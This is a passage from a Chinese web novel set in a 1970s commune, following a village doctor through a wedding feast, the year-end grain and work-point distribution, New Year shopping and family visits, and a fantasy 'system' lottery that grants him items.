“感谢王老的厚爱。只是,青莲公社的乡亲们也需要医生。我既然来了这里,就是这里的一份子,在他们还需要我的时候,我暂时没有离开的想法。” 拒绝了!他竟然拒绝了! 所有人都用一种看疯子的眼神看着江沐。 王老却愣住了,随即,他爆发出一阵大笑。 “好!好一个乡亲们也需要医生!好小子,有担当!有仁心!” 他欣赏地看着江沐,不再强求。 “行,我不逼你。你先去,跟年轻人们多聊聊。” 王老这一发话,之前那几位老爷子带来的晚辈,一个个眼睛放光,全都围了上来。 “江沐哥,我叫陆卫国,我爷爷是陆国庆!” “江哥,我叫陈铁柱,以后有事您说话!” 他们争先恐后地跟江沐打招呼,递烟、套近乎。 杨小军站在一旁,借着江沐的光,也认识了不少县里、市里有头有脸单位的子弟,一张嘴乐得就没合拢过。 就在这时,院门口的鞭炮声再次噼里啪啦地炸响,迎亲的队伍回来了! 周大强穿着一身崭新的军装,胸前戴着大红花,身姿笔挺地牵着蒙着红盖头的新娘子走了进来。 因为是军人婚礼,整个仪式比江沐结婚时要正式得多,一番慷慨激昂的讲话后,新人对着主席画像三鞠躬,仪式才算完成。 接下来便是随礼。 江沐和张小月跟着人流,在礼金桌上放下了十块钱和一张工业券,这在村里已经算是厚礼了。 礼毕,开席! 几十张桌子摆满了整个院子,热气腾腾的炖肉,金黄的炸丸子,还有一盘盘翠绿的炒青菜,香气扑鼻。 江沐和张小月,被杨小军、马小爱拉着,跟刚才认识的那群年轻人坐到了一桌。 这大席的厨子显然是请来的高手,菜做得油水足,味道正。 江沐几乎没怎么动筷子,一直在给张小月夹菜。 他夹起一块炖得软烂的五花肉,仔细地剔掉肥膘,只留下瘦肉放进张小月的碗里,动作自然熟稔。 马小爱看在眼里,立刻用胳膊肘捅了捅身边的杨小军,噘着嘴。 “你看看人家江沐,再看看你!木头疙瘩似的!” 杨小军嘿嘿一笑,赶紧有样学样,也给马小爱夹了一大筷子菜。 一桌的年轻人哄堂大笑,气氛热烈无比。 几个自来熟的青年端起酒碗,非要跟江沐这个神医喝几杯。 江沐来者不拒,酒到碗干,豪爽的姿态又引来一片叫好声。 酒过三巡,周大强领着新媳妇挨桌敬酒。 到了江沐这一桌,他满脸感激,端着酒碗,深深一躬。 “江沐兄弟,今天你和弟妹能来,我太高兴了!我嘴笨,啥也不说了,都在酒里!以后但凡有事,只要我周大强能办到的,绝不含糊!” 说完,一碗白酒仰头灌下。 酒席一直持续到日头偏西才渐渐散去。 江沐扶着喝得脸颊微红的张小月,准备跟周胜利父子打声招呼,便动身回家。 第129章 江大夫的工分,应该的 周胜利父子俩一直将他们送到院门口,周大强握着江沐的手半天不肯松。 “江沐兄弟,今天的事,谢了!以后在公社有啥难处,言语一声!” “周大哥太客气了,新婚大喜,快回去陪嫂子吧。”江沐淡然一笑,抽回手,轻轻拍了拍他的臂膀。 话音刚落,一台手扶拖拉机开了过来,杨小军从驾驶座上探出头,咧着嘴,露出一口大白牙。 “江沐,小月!上来,我送你们回去!” 这年头,手扶拖拉机可是稀罕物,整个公社也没几台。 江沐也不推辞,扶着脸颊绯红、眼神有些迷离的张小月,小心翼翼地上了后面的拖斗。 张小月下意识地缩了缩身子,紧紧挨着江沐。 江沐顺势将她揽进怀里,用自己的身体为她挡住大半的冷风。 拖拉机先是到了马小爱家,杨小军跳下车,把自家媳妇扶了进去,又低声嘱咐了几句,这才重新发动车子,一路朝着二大队方向驶去。 到了江沐家的小院外,江沐扶着张小月下了车。 “小军,天冷,进来喝口热水再走。” “不了,江沐!”杨小军摆摆手,脸上带着兴奋的红光,“我还得赶紧把车还回去呢。今天托你的福,我可认识了不少人物,改天我请客,咱们好好喝一顿!” 他心里清楚,江沐今天累了一天,晚上又喝了不少酒,现在最需要的是休息。 目送着拖拉机的尾灯消失在夜色中,江沐才扶着张小月进了屋。 中午那几碗白酒的后劲这会儿全上来了,他只觉得脑袋一阵阵发沉,索性连洗漱都省了,脱掉外套,直接和衣躺倒在了炕上,沉沉睡去。 转眼便到了腊八。 一大清早,院子里就传来了汽车引擎的轰鸣声。孙阳带着两个食品站的壮汉,风风火火地走了进来。 “江沐兄弟!我来收猪了!” 孙阳嗓门洪亮,人还没进屋,声音就先传了进来。 他一边说着,一边将手里拎着的大包小包往桌上一放。 两个网兜,一个装着两瓶黄桃罐头,一个装着几包大前门香烟和一包硬邦邦的水果糖。 “孙主任,你这是干什么?”江沐眉头一皱。 “嗨!一点心意!”孙阳满不在乎地一挥手,脸上堆着笑,“这点东西算啥?你要不收,就是看不起我孙阳!” 话都说到这份上了,江沐也不好再推辞。 他心里明白,这既是感谢,也是一种投资。 第二天,天刚蒙蒙亮,大队场院上就燃起了熊熊大火,几口大锅里的水翻滚着,热气蒸腾。 杀年猪了! 这是队上一年到头最热闹的日子。 孩子们兴奋地满场飞跑,大人们则搓着冻得通红的手,哈着白气,眼睛里却都冒着火一样的光,死死盯着那两头被绑在长凳上、嗷嗷直叫的肥猪。 负责操刀的是周翔。 他光着膀子,只围了条油腻的皮围裙,手里那把杀猪刀在晨光下闪着寒光。 只见他手起刀落,动作干净利落,不过一袋烟的工夫,两头大肥猪便被收拾得妥妥当帖帖。 猪肉被一块块分割开来,过秤,记录。 最后算下来,刨去上交的任务,每家每户按人头,能分到三斤左右的猪肉。 当村民们用颤抖的手接过那块带着温热的猪肉时,脸上都扬起笑容。 隔了一日,李有柱用大喇叭通知,全体社员到大队场院开会,分粮算工分。 这可是关乎家家户户过年吃干还是喝稀的头等大事,所有人都放下了手里的活计,将场院围得水泄不通。 李有柱站在一张八仙桌后,清了清嗓子,声音传遍了整个场院。 “乡亲们!静一静!今年咱们队上收成不错,加上卖猪、卖余粮的钱,总收入都在这账本上!现在开始分粮,老规矩,人七劳三!先按人头分七成,剩下的三成,按工分算!” 他拿起账本,开始挨家挨户地念。 “张大山家,三百二十个工分,合粮食一百二十斤,分红三块五毛!” “王二狗家,五百一十个工分,合粮食一百九十斤,分红六块二毛!” 念到的人家,脸上喜气洋洋,没念到的,则伸长了脖子,满脸焦急。 村民们的工分很快算完,李有柱顿了顿,拿起另一本账册。 “下面,是知青点的。” 他话音一落,知青点那几个凑在一起的年轻人,脸色顿时垮了下来。 吴有才还好,平时干活多,工分不算太低。而另外几人,平日里出工不出力,偷奸耍滑,此刻一个个愁眉苦脸,唉声叹气。 “……合计工分一百五十个,分粮五十五斤,分红一块八。” 这点粮食,怕是连吃到开春都难,明年开春青黄不接的时候,又得厚着脸皮跟大队借粮了。 最后,李有柱看向了手中的最后一张纸条,“江沐同志!” 所有人的目光全都聚焦到了站在人群后的江沐身上。 “江沐,上工一百二十天,合计工分,一千二百个!” “啥?一千二百个?俺没听错吧?” “他天天下地了吗?俺咋没见着?俺们累死累活一年,也就五六百个工分!” “就是啊,这咋算的?这也太不公平了!” 议论声如同潮水般涌来,夹杂着嫉妒与不满。 就连吴有才都愣住了,他知道江沐工分高,却没想到高得如此离谱。 “都给俺闭嘴!” 李有柱猛地一拍桌子,发出一声巨响,场院瞬间安静下来。 他通红的眼睛扫过每一个人。 “哪个不服气?当初成立卫生室的时候,俺就当着大家伙的面说过!江沐大夫,看一个病人算一个工分,不出诊的日子,每天也给他记十个满工分!咋地?你们谁忘了?” 他指着一个刚才叫得最凶的婆娘。 “刘家嫂子!你男人上次半夜犯急病,是谁深更半夜跑十几里山路去县里给你抓药的?” 他又指向另一个汉子。 “赵老蔫!你娃儿发高烧抽过去,是谁一针下去给你救回来的?你们摸着自个儿的良心问问,江沐大夫这一千二百个工分,多吗?” “你们的工分,是土里刨食换来的!江沐大夫的工分,那是从阎王爷手里抢人换来的!一条命,值多少工分?你们自个儿算算!” 李有柱一番话,掷地有声,问得所有人面红耳赤,哑口无言。 那些方才还在质疑的人,此刻都羞愧地低下了头。 是啊,谁家没受过江沐的恩惠?跟救命之恩比起来,这点工分算得了什么? 人群中,不知是谁先喊了一句。 “李队长说得对!江大夫的工分,应该的!” “对!俺们没意见!” “没意见!” 一时间,附和声此起彼伏。 李有柱满意地点了点头,大手一挥。 “既然都没意见了,那就排好队!会计,发钱!发粮!” 第130章 钱是挣来花的,亲情比钱重要 会计的算盘珠子拨得噼啪作响,领到粮款的乡亲们个个脸上乐开了花,小心翼翼地将那几张带着墨香的票子揣进最贴身的口袋里。 今年的收成好,加上前几个月江沐带着大伙儿上山挖药材,各家各户都额外挣了一笔钱,这个年,注定要比往年富足得多。 “今年,队上采药材卖了不少钱,这笔钱,人人有份!”李有柱洪亮的声音再次响起,给这火热的气氛又添了一把柴。 人群里又是一阵欢腾。 等村民们都领完了,场上就只剩下杨小军那几个知青。 往年队上的集体收入,可没他们这些外来户的份儿。 几人脸上都带着艳羡,正准备默默离开。 “知青点的,都别走!”李有柱喊住了他们。 几个知青先是一愣,随即脸上爆发出狂喜。 李有柱扫了他们一眼,那张黝黑的脸上难得露出笑意。 “往年没给你们分,是因为有些人,出工不出力,磨洋工!但今年不一样,特别是江沐同志来了以后,你们一个个都跟换了个人似的!所以队委会研究决定,从今年开始,只要你们好好干,队里的分红,就跟社员一样,一分都不会少你们的!” 他话锋一转,“当然,丑话说在前头,要是明年谁敢再偷懒耍滑,别说分红,口粮都得给你扣了!听明白了没?” “明白了!”吴有才等人激动得满脸通红,扯着嗓子吼道。 “行了!”李有柱满意地摆摆手,“明天,给你们知青点放假一天!想进城逛逛的,想在家睡懒觉的,都随你们!” 这简直是惊喜,知青们欢呼雀跃起来。 “最后,分粮!”李有柱拿起江沐的单子,“江沐,一千二百个工分,加上你媳妇儿张小月的工分,总计一千三百个工分!按人七劳三的规矩,你们两口子,一共分粮,一千三百斤!” 一千三百斤! 独轮车上,沉甸甸的麻袋足足装了七八个,堆得像座小山。 这粮食,足够他们两口子吃到明年秋收还有富余! 在无数羡慕、嫉妒、敬佩的复杂目光中,江沐道了谢,在赵文等人的帮助下,推着独轮车,将那座粮食山运回了家。 刚把粮食搬进屋里码放好,院门口就传来了脚步声。 高建设领着他媳妇李莹,脸上挂着憨厚的笑,走了进来。 “江沐兄弟!” “高大哥,嫂子,快进屋坐。”江沐将他们迎了进来。 李莹有些拘谨地坐在一旁,高建设则从怀里掏出一个用手帕仔细包好的小包,一层层打开,露出里面一沓票子,他将钱推到江沐面前。 “兄弟,这是之前欠你的一百块钱,你点点。” 当初他买自行车没有钱,是江沐借钱给他们渡过难关,这份恩情,高建设一直牢牢记在心里。 江沐没点,直接将钱收了起来。 “高大哥,你太客气了。”他心里清楚,高建设两口子跟着他采药,是队里最勤快的一批人,这几个月没少挣钱。 “应该的,应该的!”高建设搓着手,有些不好意思地开口,“那个……江沐兄弟,明天不是放假嘛,俺们想进城扯几尺布,买点年货,你们两口子……要去不?” 江沐看向一旁的张小月,见她眼睛里也闪着期待的光,便点了点头。 “去,正好我们也要去置办点东西。” “那太好了!”高建设一拍大腿,“那咱们明天早上八点,在我家门口碰头,咋样?” “行,就这么定了。” 第二天一早,江沐和张小月就收拾妥当,来到了高建设家门口。 四人结伴,一路说说笑笑,走了二十多里山路,终于赶在供销社开门前抵达了县城。 县城里人头攒动,比公社赶集还要热闹百倍。 四人直奔百货大楼,那可是整个邹县最气派的地方。 一进门,温暖的空气夹杂着各种商品的味道扑面而来。 售货员站在玻璃柜台后,眼神里带着几分城里人特有的矜持。 张小月捏着钱,手心直冒汗,看着琳琅满目的商品,眼睛都不知道该往哪儿放。 “小月,给你爹娘也买身新衣服吧,过年了,让他们也高兴高兴。”江沐的声音在她耳边轻声响起。 张小月心里一暖,却又有些犹豫。“这……得花不少钱吧?”张峰两口子对她极好,她早就想报答了,只是苦于没有能力。 “钱是挣来花的,亲情比钱重要。”江沐看穿了她的心思,拉着她走到了布料柜台前,“给咱爸挑件耐穿的棉袄,给咱妈选块好看的布料做身新衣裳。” 他口中那声自然的咱爸咱妈,让张小月的脸颊瞬间飞上两抹红霞,心里甜得像是灌了蜜,再也不推辞,认真地挑选起来。 最后,她给张峰挑了一件厚实的藏青色棉袄,又给刘桂芝选了一块时下最流行的印花的确良布料。 另一边,高建设更是豪爽,他拍着胸脯,让他媳妇李莹随便挑。 “从头到脚,给俺媳妇换一身新的!” 李莹羞得脸通红,却也掩不住眼角的笑意,在高建设的催促下,给自己挑了一件红色的灯芯绒外套,一条黑色的裤子,甚至还买了一双崭新的胶鞋。 高建设自己则只买了一件简单的军绿色外套,剩下的钱,都花在了媳妇身上。 买完衣服,几人的心情都极好。 江沐又带着张小月去食品柜台,称了两斤大白兔奶糖,又买了几包鸡蛋糕和桃酥,这些都是准备过年走亲戚用的。 手里的大包小包瞬间多了起来,高建设乐呵呵地扛在肩上,脸上满是满足。 “走!去下馆子!过年了,怎么也得割几斤肉,再打二斤酒!” 高建设嗓门洪亮,中气十足,引得街上行人都侧目看来。 他这话一出,李莹赶忙在后面拽了拽他的衣角,脸上有些发烫。 这年头,下馆子可是天大的事,不是逢年过节或者家里有大喜事,谁舍得? 江沐却笑了,他拦住正要迈步的高建设,目光真诚。 “高大哥,嫂子,咱们今天进城,又是买新衣又是置办年货,多大的喜事?就当是提前庆祝过年了。再说,咱们采药忙了几个月,也该好好犒劳一下自己。走,我请客,谁也别跟我争。” “那哪儿成!”高建设立刻摇头,“兄弟你帮了俺们那么多,俺们咋能让你再破费?” “一码归一码。”江沐态度坚决,半推半就地拉着两人往不远处的国营饭店走去,“今天谁跟我客气,就是不把我当兄弟。” 第131章 那这顿揍,确实该挨 话都说到这份上了,高建设一个庄稼汉,嘴皮子哪里是江沐的对手,只能憨笑着被推进了饭店。 饭店里人不多,但桌椅都擦得锃亮。 江沐直接点了四个菜:一个红烧肉,一个干煸豆角,一个醋溜白菜,外加一个鸡蛋汤。 菜一报出来,高建设和李莹两口子一脸诧异。 我的乖乖,四个菜! 这得多少钱?李莹在底下掐了丈夫一把,示意他快拦住。 高建设刚要开口,热气腾腾的红烧肉就端上来了。 那酱红色的汤汁包裹着肥瘦相间的肉块,浓郁的肉香瞬间钻进鼻腔,把他到了嘴边的话又给堵了回去。 江沐给每人都夹了一大块肉,“快吃,尝尝城里大师傅的手艺。” 高建设夹起那块颤巍巍的红烧肉,小心翼翼地放进嘴里,眼睛瞬间就亮了。 肥而不腻,入口即化,这味道,绝了! “好吃!太好吃了!”他含糊不清地赞叹着,也顾不上客气了,招呼着媳妇,“莹,你快吃,快吃啊!” 这一顿饭,吃得四人都心满意足,油光满面。结账的时候,高建设伸着脖子瞟了一眼,两块八毛钱,外加一斤二两的粮票! 他倒吸一口凉气,咂舌不已。 乖乖,这一顿饭,快赶上他半个月的工分钱了! 从饭店出来,四人又去了副食店。 凭着肉票,江沐割了五斤肥瘦相间的猪后臀,又打了二斤高粱酒。 高建设两口子也买了两斤肉,准备带回去过年。 等一切都置办妥当,天色已经开始向晚。 江沐抬头望了望天,眉头微蹙。 “天阴得厉害,怕是要下雪。咱们得赶紧回去了。” 四人不敢耽搁,将大包小包的年货仔细地捆在两辆自行车的后座上,推着车,步履匆匆地往城外走去。 刚出县城没多久,天空中就飘下了细小的雪花。 起初还只是零星几点,可没走几里路,雪就越下越大,变成了纷纷扬扬的鹅毛大雪。 路面渐渐湿滑,推着满载重物的自行车变得异常艰难。 “这样走下去,天黑透了都到不了家。”江沐停下脚步,抹了一把脸上的雪水,对高建设喊道,“高大哥,咱们骑上去!慢点骑,总比推着走快!” 高建设一愣,随即一拍大腿,“对!骑上去!” 四人跨上自行车,车轮在薄雪覆盖的土路上压出两道清晰的辙印。 他们不敢骑快,小心翼翼地保持着平衡,在漫天风雪中缓缓前行。 天地间一片寂静,只听得见车链转动的轻响和四人粗重的呼吸声。 雪花落在张小月的发梢和眉毛上,凝结成一层白霜,江沐回头看她,只见她鼻尖冻得通红,眼睛却亮晶晶的,充满了新奇和兴奋。 当他们终于看到青莲公社那熟悉的轮廓时,夜幕已经完全降临。 村子里家家户户都亮起了昏黄的灯火,映照在皑皑白雪上,透着一股别样的温暖。 这场雪,洋洋洒洒地下了两天两夜。 到了腊月二十九,雪停了。 江沐和张小月提着早就准备好的年礼,踩着厚厚的积雪,深一脚浅一脚地来到了张峰家。 “爸,妈!”张小月一进院门就欢快地喊道。 “哎哟,这么大雪你们怎么来了!”刘桂芝闻声从厨房里跑出来,手里还拿着锅铲,看见两人,脸上笑开了花,“快进屋,快进屋暖和暖和!” 张峰也从屋里迎了出来,接过江沐手里的东西,嘴里埋怨着,“来就来,还带啥东西,净整这些虚的。”话虽如此,他脸上的笑容却怎么也藏不住。 一家人围着炉子坐下,屋里暖意融融。 聊了没几句,张峰便看向江沐,郑重地开了口。 “江沐,小月,三十儿那天,就别回去了,冷锅冷灶的。就在哥这儿,咱们一家人,热热闹热闹地过个年。” 江沐心里一暖,却没有立刻答应,而是转头望向了身旁的张小月。 张小月心头柔软。 江沐在征求她的意见,在这个家里,她不再是那个可以被随意安排的妹妹,而是被尊重的妻子。 她脸颊微红,轻轻点了点头。 “爸,那我们就在这儿过。等吃完年夜饭,守完岁再回去。” “好!就这么定了!”张峰高兴地一拍手,刘桂芝也是喜上眉梢。 “那我的红包可别忘了!”一个稚嫩的声音从旁边插了进来,正是弟弟张小虎,他仰着脸,一脸期待地看着江沐。 “臭小子,就知道钱!”张峰笑骂一句,抬手一巴掌轻轻拍在儿子的后脑勺上。 江沐被他逗笑了,伸手揉了揉张小虎的脑袋,“放心,少不了你的,肯定给你准备个大的。” 大年三十一大早,天刚蒙蒙亮,江沐和张小月就过来了。 院子里,张峰的大儿子张玖博正拿着扫帚扫雪。。 “江沐,小月,你们来了!”张玖博看到两人,停下手里的活,有些腼腆地打了声招呼。 “大哥放假了?放几天啊?”江沐笑着问。 “放了七天。”张玖博把两人往屋里让,“快进屋坐吧,外面冷。” 江沐环顾一圈,想看看有什么能搭把手的,可过年的准备工作基本都就绪了,肉菜都已备好,确实没什么需要他干的。 他索性就搬了个小板凳,坐在屋檐下的台阶上,跟张玖博有一搭没一搭地聊起了工作上的事。 没一会儿,张小虎揣着满满一口袋的鞭炮,从屋里窜了出去,眨眼间就没了踪影。 刘桂芝在后面喊了一声你慢点跑,小心些,也就不再管他。 等到下午,年夜饭的香味已经从厨房里飘了出来,张峰却黑着一张脸,手里拎着张小虎的后衣领,从村口大步流星地走了回来。 张小虎耷拉着脑袋,眼圈红红的,脸上还挂着两道清晰的泪痕,看那副样子,显然是刚挨过一顿胖揍。 “这是咋了?”正在跟江沐聊天的张玖博见状,连忙站了起来。 张峰把张小虎往院子中央一扔,气不打一处来。 “你问问这个小王八蛋干的好事!他跟村里那几个皮猴子,把二踢脚往人家王大娘家的咸菜缸里扔,把人家一口传了三代的老咸菜缸给炸了!要不是我去的快,非得让人家把腿打折了不可!” 江沐听完,看着张小虎那副可怜又可气的模样,不由得失笑。 “那这顿揍,确实该挨。” 第132章 我看今晚不错,咱们争取要一个 正在灶台前忙得满头大汗的刘桂芝,一听到院子里亲儿子的哭嚎声,此刻冲出来,正看到丈夫黑着脸训斥,儿子哭得鼻涕眼泪糊了一脸,哪还忍得住。 “哭!你还有脸哭!” 刘桂芝三步并作两步冲过来,一眼就瞥见了门边靠着的、用来抽打懒牛的荆条,想也不想就抄在了手里。 她本就因为年夜饭的繁琐忙得心烦意乱,此刻儿子的闯祸,瞬间让她气恼。 “你个小兔崽子,我看你是反了天了!大过年的给老娘惹事,看我今天不抽死你!” 那细长的荆条带着风声,劈头盖脸地就朝着张小虎的屁股和后背抽了过去。 张小虎一声惨叫,疼得满院子乱窜。 张小月吓得脸都白了,想上前又不敢。 江沐一个箭步上前,伸手稳稳地抓住了刘桂芝再次扬起的手腕。 “妈,妈,消消气。”他的声音不大,却带着沉稳,“大过年的,别打了。孩子知道错了。” “他知道个屁!”刘桂芝气得胸口起伏,眼睛都红了,“不管教好,以后还不得翻天覆地!江沐你别拦着,今天非得让他长长记性!” 江沐手上微微用力,却没松开,目光转向已经被吓得缩在墙角,只会抽噎的张小虎。 “小虎,男子汉大丈夫,做错事就要认。” 张小虎浑身一哆嗦,抽抽搭搭地挤出几个字:“妈……我错了……我再也不敢了……” 一句我错了,总算让刘桂芝心里的火气泄了大半。 她恨恨地将荆条往地上一扔,指着张小虎的鼻子。 “滚一边站着去!没让你进屋,不准动!” 一直没说话的张峰,此刻叹了口气,从兜里摸出皱巴巴的几张票子,无奈道。 “让你们看笑话了。我……我去你王大娘家一趟,把钱赔给人家。” 说完,他便走出了院门。 屋子里的菜香一阵阵飘出来,刘桂芝瞪了墙角的儿子一眼,转身又钻回了厨房。 没过多久,她端着一盘热气腾腾的红烧肘子出来,对着院里喊了一嗓子。 “都别在外面杵着了!玖博,喊你弟弟,进来吃饭!” 一场风波,总算在年夜饭的香气中暂时平息。 今年的年夜饭,丰盛得令人咋舌。 满满当当一大桌,几乎要摆不下了。 张峰赔完钱回来,脸色好看了不少,大概是赔礼道歉还算顺利。 他一坐上桌,就给江沐满满地倒上了一杯高粱酒。 “江沐,来!今儿是咱家第一个团圆年,啥也别说了,都在酒里!爸敬你一杯!” “好。”江沐笑着举杯,一饮而尽。 张玖博也端起酒杯,脸颊微红,有些拘谨地对着江沐。 “江沐,我也敬你。” 几杯酒下肚,气氛彻底热络起来。 张峰的话匣子完全打开了,舌头都有些大了,他端着酒杯,眼睛里泛着水光,重重地拍了拍江沐的肩膀。 “江沐,我跟你说句掏心窝子的话。能把我女儿……小月,嫁给你,那是我们老张家祖坟上冒了青烟,是祖上积德啊!” 江沐心中一暖,他能感受到这份发自肺腑的真诚。 他端起酒杯,与张峰的杯子轻轻一碰,目光清亮。 “爸,你这话就说反了。是我江沐有福气,能娶到小月这么好的媳妇儿。”他环视了一圈屋里的人,声音郑重,“我从小亲妈走得早,在这边更是一个亲人都没有。现在有你们,有爸妈,有玖博哥和小虎,你们就是我的亲人。这杯酒,我敬咱们一家人。” 这番话,说得张峰眼圈更红了,就连一旁的刘桂芝,也悄悄抬手抹了抹眼角。 到了最后,张峰和张玖博父子俩都已经喝得眼神迷离,反应都慢了半拍。 江沐也觉得脑袋有些发沉,便主动放下了酒杯。 “爸,今天就到这儿吧,尽兴了。” “别……别啊,再……再喝点……”张峰晃晃悠悠地站起来,非要送江沐和张小月回去。 “哥你快躺着吧,送什么送,就几步路。”江沐连忙扶住他,把他按回到椅子上。 眼看两人要走,一直闷头吃饭的张小虎,忽然从椅子上跳下来,跑到门口,也不说话,就用一双大眼睛盯着江沐。 江沐一怔,随即反应过来,哑然失笑。 这小子,还记着红包的事呢。 他从内兜里掏出一个早就准备好的红纸包,递到张小虎面前,揉了揉他的脑袋。 “给,压岁钱,祝我们小虎新的一年好好学习,快快长大。” 张小月也笑着从兜里拿出一个小一点的红包,塞给了他。 “这是二姐给的,听你爸妈的话。” 张小虎两只手各攥着一个红包,乐得鼻涕泡都快出来了,他仰着脸,大声地喊着:“谢谢姐夫!谢谢二姐!等我以后长大了,挣了钱,给你们买新衣裳穿!” 童言无忌,逗得满屋子人都笑了起来。 江沐和张小月并肩走在回家的路上。 而在他们身后,张家的屋子里,刘桂芝正把儿子拉到跟前。 “红包拿来,妈先给你收着。” 张小虎不情不愿地把两个红包交了出去。 刘桂芝捏了捏厚度,随手拆开一个,当她看清里面那张崭新的大团结时,整个人都愣住了。 她又急忙拆开另一个,同样是一张十块钱的。 二十块钱! 就这么当压岁钱送出去了?刘桂芝的心像是被针扎了一下,又疼又酸。 她一巴掌拍在自己大腿上,心疼得直咧嘴。 “哎哟我的天爷!这两个孩子,太不会过日子了!这可是二十块钱啊!” 张小虎眼睁睁看着自己的巨款被没收,还听到母亲的埋怨,顿时悲从中来,张开嘴巴,再次放声大哭起来,那哭声,比下午挨揍时还要响亮。 …… “今天我妈跟我说,让我抓紧点,早点给你生个大胖小子。”走在路上,张小月忽然红着脸,低声对江沐开了口。 江沐侧过头,月光下,她脸颊的红晕清晰可见。 他轻笑一声,伸手握住她有些冰凉的手,将它揣进自己的大衣口袋里。 “那还等什么?”他的声音沙哑,在清冷的空气中格外撩人,“我看今晚不错,咱们争取要一个。” 张小月的脸羞得不敢再看他,只能任由他牵着。 回到家里,已是深夜。 躺在温暖的被窝里,听着窗外偶尔传来的几声鞭炮炸响,江沐却毫无睡意。 他心念一动,闭上眼睛,意识沉入了脑海中的声望商城。 【当前声望值:3580点】 看着那串数字,江沐嘴角微微勾起。 过年了,也该给自己发点福利。 “系统,开启抽奖。” “先来两次单抽垫垫手气。” 江沐心中默念。 光芒闪烁,指针最终停下。 一道刺眼的白色光芒闪过。 【恭喜宿主获得:一包被火柴。】 江沐的脸皮抽搐了一下。 这年头谁家缺火柴? “再来一次!”他有些不信邪。 轮盘再次转动,又是一道白色光芒。 【恭喜宿主获得:半块发硬的黑面包。】 江沐:“……” 第133章 这……这简直是神技 江沐的嘴角狠狠一抽。 这系统是存心在大过年的给他添堵不成? “我就不信这个邪!” 【抽奖开启,单次抽取消耗100点声望值。】 “再来!” 轮盘再次疯狂旋转,这一次,是一道金光。 江沐心中难掩喜悦。 【恭喜宿主获得:魅力指环(凡品)。】 【物品说明:被动提升佩戴者10%的个人魅力与话语影响力,使人更容易对你产生信赖与好感。】 虽然只是个凡品,但这效果……简直是为他量身定做的! 在这个人情社会,尤其是在缺医少药的农村,一个医术高超又让人信服的医生,能发挥出的作用可不是一加一那么简单。 江沐心中一动,一枚古朴的银色指环便出现在他掌心。 他摩挲着指环冰凉的表面,还是决定暂时不戴。 凭空多出个戒指,在这个年代太扎眼,不好解释来源。 这手气似乎回来了点。 江沐深吸一口气。 “系统,直接来一发十连抽!” 【十连抽取消耗900点声望值。】 “确认!” 刹那间,整个商城界面都被璀璨的光芒所吞噬。 巨大的轮盘上,十道光柱冲天而起,白色、蓝色、金色……甚至还有一道赤红色光芒! 光芒散尽,一连串的系统提示音在江沐脑海中炸响。 五次白色光芒,依旧是些火柴、肥皂票、半斤玉米面之类的零碎玩意儿,江沐直接选择了无视。 而那三道蓝色光芒,却带来了实实在在的惊喜。 【恭喜宿主获得:高产黄瓜种子一包(亩产可达万斤)。】 【恭喜宿主获得:可孵化芦花鸡苗两只(母)。】 【恭喜宿主获得:东北精米五十斤。】 好东西! 江沐的眼睛亮了。 黄瓜种子意味着源源不断的蔬菜,两只鸡苗养大了就是下蛋的宝贝,至于那五十斤精米,在这个糙米都算精粮的年代,更是金贵得不行! 他的目光,最终落在了那一道金色和一道红色光芒的奖励上。 【恭喜宿主获得:武道宗师体验卡(24小时)。】 【物品说明:使用后,宿主将在二十四小时内,拥有等同于武道宗师级别的格斗技巧与身体素质。注:集齐十张体验卡,可合成永久性宗师级武道传承。】 江沐的心脏猛地一跳。 这可是保命的底牌! 在这个混乱的年代,有一身自保的武力,比什么都重要。 而那最后的红色奖励,更是让他震惊。 【恭喜宿主获得:风险预警卡(一次性消耗品)。】 【物品说明:可提前二十四小时,以梦境形式预知宿主即将面临的一次重大危机,危机等级越高,预警越清晰。】 这……这简直是神技! 江沐压下心头的狂喜,之前那点抽到火柴的郁闷早已烟消云散。 这波不亏,血赚! 第二天一大早,天刚蒙蒙亮,江沐就感觉有人在轻轻推他。 “江沐,快起来,大年初一可不能睡懒觉,要被人笑话的。” 是张小月柔软又带着催促的声音。 江沐睁开惺忪的睡眼,就着窗外透进的微光,看到她已经穿戴整齐,正弯腰看着自己。 “知道了。”他笑着应了一声,坐了起来。 穿好衣服,江沐第一件事就是拿着一挂早就备好的鞭炮,在家门口点燃。 清脆的炸响声划破了村庄清晨的宁静,也宣告着新一年的正式到来。 空气中瞬间弥漫开一股浓浓的硫磺味,这便是这个年代最纯正的年味儿。 随后,他便跟着张小月钻进了厨房,一个烧火,一个揉面,配合默契地做起了早饭。 没过多久,村子里的小孩子们便三五成群地出现了。 他们一个个穿着新衣裳,脸上冻得红扑扑的,挨家挨户地串门拜年,嘴里喊着吉祥话,眼睛却直勾勾地盯着大人们手里的糖果。 江沐和张小月早就准备好了一大把水果糖,来一个孩子就塞上两颗,不一会儿,院子里就充满了孩子们欢快的笑声。 中午,江沐架起了从城里买回来的小铜锅,又弄了一顿热气腾腾的火锅。 薄薄的猪肉片在滚开的汤里一涮,蘸上点蒜蓉辣酱,配上冻豆腐和水灵灵的大白菜,吃得人浑身都暖洋洋的。 下午,江沐提溜着两瓶好酒,和张小月一起去了大队长李有柱家。 还没进院子,就听见里面人声鼎沸,烟火气和酒肉香混在一起,扑面而来。 李有柱家竟摆了足足三张大桌,大队里不少干部和相熟的社员都聚在这里过年,家家户户都端了一两个自己的拿手菜过来,凑成了一场热闹非凡的百家宴。 “江沐来啦!快,上座!” 李有柱一见江沐,立刻红光满面地迎了上来,不由分说地就把他按在了主桌。 这一顿酒,直喝得月上中天。 桌上的人换了一拨又一拨,直到凌晨时分,众人才意犹未尽地各自散去。 正月初二,是回娘家的日子。 江沐和张小月带着早就备好的布料、糖果和一刀猪肉,再次来到了张峰家。 吃过午饭,两人便开始了漫长的走亲戚之旅。 第一站,便是张小月的叔叔,张武家。 刚一进门,张武一家三口倒是笑脸相迎,可聊着聊着,那话味儿就变了。 张武搓着手,眼睛瞟向江沐,脸上堆着笑。 “江沐啊,你看你现在这么有本事,在公社里人人都敬着,你看看,能不能给我家大力在县里或者公社里,寻摸个活儿干干?” 话音刚落,张小月的脸色一下就沉了下来。 江沐还没来得及开口,张小月已经站了起来,一把拉住他的胳膊。 “叔,婶子,我们还有别家亲戚要去,就先走了。” 说完,她看也不看叔叔婶婶那恼怒的脸色,拉着江沐就往外走。 结果,两人都走到院门口了,屋里的那一家三口,竟连一个起身送送的人都没有。 一走出张武家的院子,张小月气得浑身发抖。 “真是喂了白眼狼了!咱们好心好意提着东西来看他们,他们倒好,张嘴就让你帮忙找工作!真把咱们当成什么了!”她越说越气,“那些东西,给他们真是浪费了!” 江沐握住她冰凉的手,轻声劝慰。 